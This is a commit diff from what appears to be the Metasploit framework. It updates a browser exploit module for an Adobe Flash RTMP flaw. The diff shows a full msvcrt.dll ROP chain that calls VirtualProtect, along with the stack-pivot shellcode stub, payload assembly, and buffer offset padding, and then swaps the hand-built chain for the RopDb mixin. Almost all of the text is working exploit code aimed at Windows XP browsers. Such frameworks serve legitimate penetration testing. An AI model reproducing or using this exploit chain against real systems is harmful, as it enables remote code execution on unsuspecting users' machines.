Adopt RopDb for adobe_flash_rtmp.rb
parent
631a06f3bb
commit
98931e339a
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@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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@ -122,53 +123,18 @@ class Metasploit3 < Msf::Exploit::Remote
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end
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V").first
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end
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def nop
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return make_nops(4).unpack("V").first
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end
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def ret(t)
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return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
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end
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def popret(t)
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return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
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end
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def get_rop_chain(t)
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# ROP chains generated by mona.py - See corelan.be
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print_status("Using msvcrt ROP")
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rop =
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[
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0x77c4e392, # POP EAX # RETN
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0x77c11120, # <- *&VirtualProtect()
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0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
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junk,
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0x77c2dd6c,
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0x77c4ec00, # POP EBP # RETN
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0x77c35459, # ptr to 'push esp # ret'
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0x77c47705, # POP EBX # RETN
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0x00001000, # EBX
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0x77c3ea01, # POP ECX # RETN
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0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
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0x77c46100, # POP EDI # RETN
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0x77c46101, # ROP NOP (-> edi)
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0x77c4d680, # POP EDX # RETN
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0x00000040, # newProtect (0x40) (-> edx)
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0x77c4e392, # POP EAX # RETN
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nop, # NOPS (-> eax)
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0x77c12df9, # PUSHAD # RETN
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].pack("V*")
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p = "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
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p << payload.encoded
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code = ret(t)
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code << rand_text(119)
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code << rop
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code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
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code << payload.encoded
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code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})
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offset = 2616 - code.length
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code << rand_text(offset)
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code << [ t['StackPivot'] ].pack("V")
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